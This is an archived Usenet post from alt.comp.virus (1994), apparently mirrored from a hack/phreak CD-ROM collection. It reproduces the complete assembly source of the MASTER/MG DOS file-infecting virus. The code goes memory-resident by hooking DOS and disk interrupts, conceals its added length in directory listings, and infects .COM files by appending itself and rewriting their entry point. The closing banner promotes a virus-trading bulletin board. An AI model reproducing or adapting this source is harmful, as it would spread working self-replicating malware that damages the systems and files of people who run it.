home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / M.ZIP / MG-3.ZIP / mg-3.asm
Assembly Source File  |  1994-11-29  |  8KB  |  330 lines

  1. From netcom.com!ix.netcom.com!howland.reston.ans.net!swrinde!sgiblab!uhog.mit.edu!rutgers!engr.orst.edu!gaia.ucs.orst.edu!myhost.subdomain.domain!clair Tue Nov 29 09:50:22 1994
  2. Xref: netcom.com alt.comp.virus:486
  3. Path: netcom.com!ix.netcom.com!howland.reston.ans.net!swrinde!sgiblab!uhog.mit.edu!rutgers!engr.orst.edu!gaia.ucs.orst.edu!myhost.subdomain.domain!clair
  4. From: clair@myhost.subdomain.domain (The Clairvoyant)
  5. Newsgroups: alt.comp.virus
  6. Subject: MG-3
  7. Date: 28 Nov 1994 07:55:49 GMT
  8. Organization: String to put in the Organization Header
  9. Lines: 315
  10. Message-ID: <3bc2e5$mjc@gaia.ucs.orst.edu>
  11. NNTP-Posting-Host: tempest.rhn.orst.edu
  12. X-Newsreader: TIN [version 1.2 PL2]
  13.  
  14.  
  15. ;        (C) Copyright VirusSoft Corp.  Sep., 1990
  16. ;
  17. ;   This is the SOURCE file of last version of MASTER,(V500),(MG) ect.
  18. ;   virus, distributed by VirusSoft company . First version was made
  19. ;   in   May., 1990 . Please don't make any corections in this file !
  20. ;
  21. ;                        Bulgaria, Varna
  22. ;                        Sep. 27, 1990
  23.  
  24.  
  25.  
  26.          ofs = 201h
  27.          len = offset end-ofs
  28.  
  29.          call  $+6
  30.  
  31.          org   ofs
  32.  
  33. first:   dw    020cdh
  34.          db    0
  35.  
  36.          pop   di
  37.          dec   di
  38.          dec   di
  39.          mov   si,[di]
  40.          dec   di
  41.          add   si,di
  42.          push  cs
  43.          push  di
  44.          cld
  45.          movsw
  46.          movsb
  47.          xchg  ax,dx
  48.  
  49.          mov   ax,4b04h
  50.          int   21h
  51.          jnc   residnt
  52.  
  53.          xor   ax,ax
  54.          mov   es,ax
  55.          mov   di,ofs+3
  56.          mov   cx,len-3
  57.          rep   movsb
  58.  
  59.          les   di,[6]
  60.          mov   al,0eah
  61.          dec   cx
  62.          repne scasb
  63.          les   di,es:[di]         ; Searching for the INT21 vector
  64.          sub   di,-1ah-7
  65.  
  66.          db    0eah
  67.          dw    offset jump,0      ; jmp far 0000:jump
  68.  
  69. jump:    push  es
  70.          pop   ds
  71.          mov   si,[di+3-7]        ;
  72.          lodsb                    ;
  73.          cmp   al,68h             ; compare DOS Ver
  74.          mov   [di+4-7],al        ; Change CMP AH,CS:[????]
  75.          mov   [di+2-7],0fc80h    ;
  76.          mov   [di-7],0fccdh      ;
  77.  
  78.          push  cs
  79.          pop   ds
  80.  
  81.          mov   [1020],di          ; int  0ffh
  82.          mov   [1022],es
  83.  
  84.          mov   beg-1,byte ptr not3_3-beg
  85.          jb    not3.3             ; CY = 0  -->  DOS Ver > or = 3.30
  86.          mov   beg-1,byte ptr 0
  87.          mov   [7b4h],offset pr7b4
  88.          mov   [7b6h],cs          ; 7b4
  89.  
  90. not3.3:  mov   al,0a9h            ; Change attrib
  91. cont:    repne scasb
  92.          cmp   es:[di],0ffd8h
  93.          jne   cont
  94.          mov   al,18h
  95.          stosb
  96.  
  97.          push  ss
  98.          pop   ds
  99.  
  100.          push  ss
  101.          pop   es
  102.  
  103. residnt: xchg  ax,dx
  104.          retf                     ; ret   far
  105.  
  106. ;--------Interrupt process--------;
  107.  
  108. i21pr:   push  ax
  109.          push  dx
  110.          push  ds
  111.          push  cx
  112.          push  bx
  113.          push  es
  114.  
  115. if4b04:  cmp   ax,4b04h
  116.          je    rti
  117.  
  118.          xchg  ax,cx
  119.          mov   ah,02fh
  120.          int   0ffh
  121.  
  122. if11_12: cmp   ch,11h
  123.          je    yes
  124.          cmp   ch,12h
  125.          jne   inffn
  126. yes:     xchg  ax,cx
  127.          int   0ffh
  128.          push  ax
  129.          test  es:byte ptr [bx+19],0c0h
  130.          jz    normal
  131.          sub   es:[bx+36],len
  132. normal:  pop   ax
  133. rti:     pop   es
  134.          pop   bx
  135.          pop   cx
  136.          add   sp,12
  137.          iret
  138.  
  139. inffn:   mov   ah,19h
  140.          int   0ffh
  141.          push  ax
  142.  
  143. if36:    cmp   ch,36h             ; -free bytes
  144.          je    beg_36
  145. if4e:    cmp   ch,4eh             ; -find first FM
  146.          je    beg_4b
  147. if4b:    cmp   ch,4bh             ; -exec
  148.          je    beg_4b
  149. if47:    cmp   ch,47h             ; -directory info
  150.          jne   if5b
  151.          cmp   al,2
  152.          jae   begin              ; it's hard-disk
  153. if5b:    cmp   ch,5bh             ; -create new
  154.          je    beg_4b
  155. if3c_3d: shr   ch,1               ; > -open & create
  156.          cmp   ch,1eh             ;   -
  157.          je    beg_4b
  158.  
  159.          jmp   rest
  160.  
  161. beg_4b:  mov   ax,121ah
  162.          xchg  dx,si
  163.          int   2fh
  164.          xchg  ax,dx
  165.          xchg  ax,si
  166.  
  167. beg_36:  mov   ah,0eh             ; change current drive
  168.          dec   dx                 ;
  169.          int   0ffh               ;
  170.  
  171. begin:
  172.          push  es                 ; save DTA address
  173.          push  bx                 ;
  174.          sub   sp,44
  175.          mov   dx,sp              ; change DTA
  176.          push  sp
  177.          mov   ah,1ah
  178.          push  ss
  179.          pop   ds
  180.          int   0ffh
  181.          mov   bx,dx
  182.  
  183.          push  cs
  184.          pop   ds
  185.  
  186.          mov   ah,04eh
  187.          mov   dx,offset file
  188.          mov   cx,3               ; r/o , hidden
  189.          int   0ffh               ; int   21h
  190.          jc    lst
  191.  
  192. next:    test  ss:[bx+21],byte ptr 80h
  193.          jz    true
  194. nxt:     mov   ah,4fh             ; find next
  195.          int   0ffh
  196.          jnc   next
  197. lst:     jmp   last
  198.  
  199. true:    cmp   ss:[bx+27],byte ptr 0fdh
  200.          ja    nxt
  201.          mov   [144],offset i24pr
  202.          mov   [146],cs
  203.  
  204.          les   ax,[4ch]           ; int 13h
  205.          mov   i13adr,ax
  206.          mov   i13adr+2,es
  207.          jmp   short $
  208. beg:     mov   [4ch],offset i13pr
  209.          mov   [4eh],cs
  210.          ;
  211. not3_3:  push  ss
  212.          pop   ds
  213.          push  [bx+22]            ; time +
  214.          push  [bx+24]            ; date +
  215.          push  [bx+21]            ; attrib +
  216.          lea   dx,[bx+30]         ; ds : dx = offset file name
  217.          mov   ax,4301h           ; Change attrib !!!
  218.          pop   cx
  219.          and   cx,0feh            ; clear r/o and CH
  220.          or    cl,0c0h            ; set Infect. attr
  221.          int   0ffh
  222.  
  223.          mov   ax,03d02h          ; open
  224.          int   0ffh               ; int   21h
  225.          xchg  ax,bx
  226.  
  227.          push  cs
  228.          pop   ds
  229.  
  230.          mov   ah,03fh
  231.          mov   cx,3
  232.          mov   dx,offset first
  233.          int   0ffh
  234.  
  235.          mov   ax,04202h          ; move fp to EOF
  236.          xor   dx,dx
  237.          mov   cx,dx
  238.          int   0ffh
  239.          mov   word ptr cal_ofs+1,ax
  240.  
  241.          mov   ah,040h
  242.          mov   cx,len
  243.          mov   dx,ofs
  244.          int   0ffh
  245.          jc    not_inf
  246.  
  247.          mov   ax,04200h
  248.          xor   dx,dx
  249.          mov   cx,dx
  250.          int   0ffh
  251.  
  252.          mov   ah,040h
  253.          mov   cx,3
  254.          mov   dx,offset cal_ofs
  255.          int   0ffh
  256.  
  257. not_inf: mov   ax,05701h
  258.          pop   dx                 ; date
  259.          pop   cx                 ; time
  260.          int   0ffh
  261.  
  262.          mov   ah,03eh            ; close
  263.          int   0ffh
  264.  
  265.          les   ax,dword ptr i13adr
  266.          mov   [4ch],ax           ; int 13h
  267.          mov   [4eh],es
  268.  
  269. last:    add   sp,46
  270.          pop   dx
  271.          pop   ds                 ; restore DTA
  272.          mov   ah,1ah
  273.          int   0ffh
  274.  
  275. rest:    pop   dx                 ; restore current drive
  276.          mov   ah,0eh             ;
  277.          int   0ffh               ;
  278.  
  279.          pop   es
  280.          pop   bx
  281.          pop   cx
  282.          pop   ds
  283.          pop   dx
  284.          pop   ax
  285.  
  286. i21cl:   iret                     ; Return from INT FC
  287.  
  288. i24pr:   mov   al,3               ; Critical errors
  289.          iret
  290.  
  291. i13pr:   cmp   ah,3
  292.          jne   no
  293.          inc   byte ptr cs:activ
  294.          dec   ah
  295. no:      jmp   dword ptr cs:i13adr
  296.  
  297. pr7b4:         db    2eh,0d0h,2eh
  298.                dw    offset activ
  299. ;        shr   cs:activ,1
  300.          jnc   ex7b0
  301.          inc   ah
  302. ex7b0:   jmp   dword ptr cs:[7b0h]
  303.  
  304. ;--------
  305.  
  306. file:    db    "*",32,".COM"
  307.  
  308. activ:   db    0
  309.  
  310.          dw    offset i21pr      ; int 0fch
  311.          dw    0
  312.  
  313. cal_ofs: db    0e8h
  314.  
  315. end:
  316.          dw    ?                  ; cal_ofs
  317.  
  318. i13adr:  dw    ?
  319.          dw    ?
  320.  
  321.  
  322. ; The End.---
  323.  
  324. ; ─────────────────────────────────────────────────────────────────────────
  325. ; ────────────────────> and Remember Don't Forget to Call <────────────────
  326. ; ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
  327. ; ─────────────────────────────────────────────────────────────────────────
  328.  
  329.  
  330.